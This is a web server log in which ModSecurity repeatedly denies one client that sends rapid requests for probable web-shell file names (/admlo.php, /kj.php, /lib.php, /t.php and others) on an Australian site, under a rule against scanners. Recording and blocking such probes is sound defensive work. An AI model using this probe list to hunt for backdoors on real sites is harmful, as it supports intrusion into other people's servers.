[Wed Apr 15 19:00:02.204157 2026] [:error] [pid 37370:tid 37381] [client 51.120.68.159:26964] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsng-gnM2Ga0cGAD5yAAAAQk"]
[Wed Apr 15 19:00:02.546743 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:46618] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsng-gnM2Ga0cGAD5yQAAARA"]
[Wed Apr 15 19:00:02.937194 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:26954] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsng-gnM2Ga0cGAD5zAAAAQc"]
[Wed Apr 15 19:00:03.182527 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:17033] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vsxcEkLCmvF0fjDejWAAAAJc"]
[Wed Apr 15 19:00:03.530809 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:6283] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsxcEkLCmvF0fjDejWQAAAII"]
[Wed Apr 15 19:00:03.909689 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:3948] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vsxcEkLCmvF0fjDejWgAAAIA"]
[Wed Apr 15 19:00:04.213369 2026] [:error] [pid 31053:tid 31067] [client 51.120.68.159:3574] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vtBcEkLCmvF0fjDejXgAAAIs"]
[Wed Apr 15 19:00:04.621150 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:29558] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vtHg-gnM2Ga0cGAD50wAAAQM"]
[Wed Apr 15 19:00:04.793728 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:3590] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vtHg-gnM2Ga0cGAD51AAAAQw"]
[Wed Apr 15 19:00:05.425960 2026] [:error] [pid 30958:tid 31026] [client 51.120.68.159:6323] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vtceG3wSKTO7NWFGHZAAAAMo"]
[Wed Apr 15 19:00:05.426418 2026] [:error] [pid 30957:tid 30999] [client 51.120.68.159:13267] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vtX5gwVEVXHfVSipqXgAAAEo"]
[Wed Apr 15 19:00:06.040439 2026] [:error] [pid 31053:tid 31078] [client 51.120.68.159:20160] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vthcEkLCmvF0fjDejYgAAAJY"]
[Wed Apr 15 19:00:06.094968 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:3928] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vthcEkLCmvF0fjDejYwAAAIw"]
[Wed Apr 15 19:00:06.692902 2026] [:error] [pid 30957:tid 30996] [client 51.120.68.159:11726] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "ad9vtn5gwVEVXHfVSipqYAAAAEc"]
[Wed Apr 15 19:00:06.806483 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:20210] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vtseG3wSKTO7NWFGHbAAAAM8"]
[Wed Apr 15 19:00:07.415068 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:20167] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vt3g-gnM2Ga0cGAD53gAAAQI"]
[Wed Apr 15 19:00:07.552696 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:23261] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vt3g-gnM2Ga0cGAD53wAAARE"]
[Wed Apr 15 19:00:08.088497 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:22812] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vuMeG3wSKTO7NWFGHdQAAAMQ"]
[Wed Apr 15 19:00:08.141551 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:11769] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vuMeG3wSKTO7NWFGHdwAAAM4"]
[Wed Apr 15 19:00:08.719922 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:54485] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vuH5gwVEVXHfVSipqZwAAAEg"]
[Wed Apr 15 19:00:08.834391 2026] [:error] [pid 30957:tid 30994] [client 51.120.68.159:11743] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vuH5gwVEVXHfVSipqaAAAAEU"]
[Wed Apr 15 19:00:09.732940 2026] [:error] [pid 30958:tid 31018] [client 51.120.68.159:17496] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "ad9vuceG3wSKTO7NWFGHgwAAAMI"]
[Wed Apr 15 19:00:09.948147 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:13248] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vuX5gwVEVXHfVSipqbwAAAFI"]
[Wed Apr 15 19:00:11.024519 2026] [:error] [pid 30957:tid 31013] [client 51.120.68.159:17495] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vu35gwVEVXHfVSipqcQAAAFg"]
[Wed Apr 15 19:00:11.327529 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:18886] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vu3g-gnM2Ga0cGAD56AAAAQA"]
[Wed Apr 15 19:00:12.324493 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:38322] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vvH5gwVEVXHfVSipqdgAAAFM"]
[Wed Apr 15 19:00:12.688018 2026] [:error] [pid 30957:tid 31002] [client 51.120.68.159:42608] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vvH5gwVEVXHfVSipqdwAAAE0"]
[Wed Apr 15 19:00:13.250308 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:17522] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vvRcEkLCmvF0fjDejawAAAJU"]
[Wed Apr 15 19:00:13.541799 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:42604] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vvX5gwVEVXHfVSipqfAAAAFI"]
[Wed Apr 15 19:00:13.903884 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:13278] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vvceG3wSKTO7NWFGHoAAAAM4"]
[Wed Apr 15 19:00:14.175158 2026] [:error] [pid 30958:tid 31034] [client 51.120.68.159:43085] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admlo.php"] [unique_id "ad9vvseG3wSKTO7NWFGHowAAANI"]
[Wed Apr 15 19:00:14.869016 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:46609] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vvhcEkLCmvF0fjDejbwAAAIA"]
[Wed Apr 15 19:00:14.989138 2026] [:error] [pid 30956:tid 30968] [client 51.120.68.159:15982] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vvkBGUpjaWntNYq1cowAAAAg"]
[Wed Apr 15 19:00:15.575364 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:58460] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vv35gwVEVXHfVSipqhAAAAE4"]
[Wed Apr 15 19:00:15.683329 2026] [:error] [pid 30957:tid 30991] [client 51.120.68.159:58446] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vv35gwVEVXHfVSipqhQAAAEI"]
[Wed Apr 15 19:00:16.226105 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:42612] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwH5gwVEVXHfVSipqiAAAAFc"]
[Wed Apr 15 19:00:16.244247 2026] [:error] [pid 31053:tid 31074] [client 51.120.68.159:46593] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vwBcEkLCmvF0fjDejcwAAAJI"]
[Wed Apr 15 19:00:16.837526 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:17508] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9vwMeG3wSKTO7NWFGHtAAAAMc"]
[Wed Apr 15 19:00:16.940839 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:3956] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwHg-gnM2Ga0cGAD58QAAARM"]
[Wed Apr 15 19:00:17.563325 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:18506] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwceG3wSKTO7NWFGHuAAAANU"]
[Wed Apr 15 19:00:17.631815 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:15990] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwceG3wSKTO7NWFGHuwAAAMQ"]
[Wed Apr 15 19:00:18.199324 2026] [:error] [pid 30956:tid 30972] [client 51.120.68.159:22798] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwkBGUpjaWntNYq1cpQAAAAw"]
[Wed Apr 15 19:00:18.207919 2026] [:error] [pid 30956:tid 30962] [client 51.120.68.159:22804] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwkBGUpjaWntNYq1cpgAAAAI"]
[Wed Apr 15 19:00:18.776445 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:18516] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vwkBGUpjaWntNYq1cqQAAAAo"]
[Wed Apr 15 19:00:18.806660 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:11735] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vwng-gnM2Ga0cGAD59gAAAQE"]
[Wed Apr 15 19:00:19.327920 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:42606] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad9vw3g-gnM2Ga0cGAD5_gAAARc"]
[Wed Apr 15 19:00:19.396014 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:18554] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vw3g-gnM2Ga0cGAD5_wAAARI"]
[Wed Apr 15 19:00:19.896880 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:35662] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vw3g-gnM2Ga0cGAD6AwAAARA"]
[Wed Apr 15 19:00:19.920433 2026] [:error] [pid 30956:tid 30981] [client 51.120.68.159:15969] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vw0BGUpjaWntNYq1cqgAAABU"]
[Wed Apr 15 19:00:20.431368 2026] [:error] [pid 31053:tid 31075] [client 51.120.68.159:38318] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vxBcEkLCmvF0fjDejgAAAAJM"]
[Wed Apr 15 19:00:20.462772 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:23246] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vxBcEkLCmvF0fjDejgQAAAJE"]
[Wed Apr 15 19:00:21.107809 2026] [:error] [pid 31053:tid 31071] [client 51.120.68.159:22833] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vxRcEkLCmvF0fjDejhAAAAI8"]
[Wed Apr 15 19:00:21.222398 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:58451] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vxXg-gnM2Ga0cGAD6CgAAAQ0"]
[Wed Apr 15 19:00:21.724435 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:58495] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9vxceG3wSKTO7NWFGHwwAAANA"]
[Wed Apr 15 19:00:21.858894 2026] [:error] [pid 31053:tid 31065] [client 51.120.68.159:3936] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vxRcEkLCmvF0fjDejiAAAAIk"]
[Wed Apr 15 19:00:22.449348 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:8972] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vxkBGUpjaWntNYq1crQAAABM"]
